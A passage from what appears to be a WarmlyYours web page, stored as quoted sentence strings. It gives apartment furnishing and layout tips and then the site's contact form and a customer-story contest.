largest purchases, such as sofas, beds, a dining table and lamps. ", "Having a budget helps consumers match what they can afford with the best quality furnishings available in their price range. ", "Shopping at flea markets and thrift stores may turn up some unique finds.", "\n\nHaving modular furniture that can fit a variety of settings and serve more than one purpose - such as a desk that can be used as a buffet during a get-together - is a good investment for apartment dwellers.", "\n\nJust because apartment layouts are generally rectangular doesn't mean the individual who lives there has to leave it that way. ", "To avoid having the dining and living rooms look as though they are in a line, each space can be divided with a large indoor plant, bookcase or artwork that can separate the areas according to how they are used. ", "Round tables and curves in other furniture pieces also soften the edges of a squared-off room.", "\n\nTo turn apartments into places that make renters feel they're coming home at the end of each day, the decor has to reflect their personal interests and tastes in the selection of artwork, colors and special items that they collect.", "\n\nSupport\n\nContact\n\nAsk a Question\n\nThank you for contacting WarmlyYours! ", "Your question is important, and we will follow up with you on it as soon as we can. ", "Please note that if we receive your message outside of normal business hours, we will respond to your question on the next business day.", "\n\nName\n\nEmail\n\nQuestion\n\nWhat is 3 + 3 ?", "\n\nShare Your Story\n\nYour WarmlyYours experience matters to us. ", "And, we would love to hear it straight up from you. ", "Storytellers have shaped our societies since the beginning of time, and along with sharing knowledge and experience comes cultural and societal bonding. ", "Not to mention, your story qualifies you for a chance to win $100!", "\n\nMaybe you would like to tell us how you are enjoying your heated floor? ", "How did the installation go? ", "What are your neighbors saying about your cozy, warm family room? ", "Has your cat found your under desk heater and commandeered it yet? ", "You see where we are going with this…\n\nYES, we would love to hear anything you can tell us about our products. ", "And, if you have photos, videos, diagrams, illustrations, cartoons, cave man drawings, or even an artist’s rendering to help you tell your story…all the better!", "\n\nSeriously, by sharing real life stories – your stories - other customers can benefit from your WarmlyYours experience and so can we. ", "We know that any remodeling project or purchasing decision you make that centers around bringing warmth and comfort to your family is an important one, so please take a few minutes to share your story with us.", "\n\nTo share your story, fill in the form below or send your story with attachments to [email protected]. ", "There will be one winner selected every month!" ]

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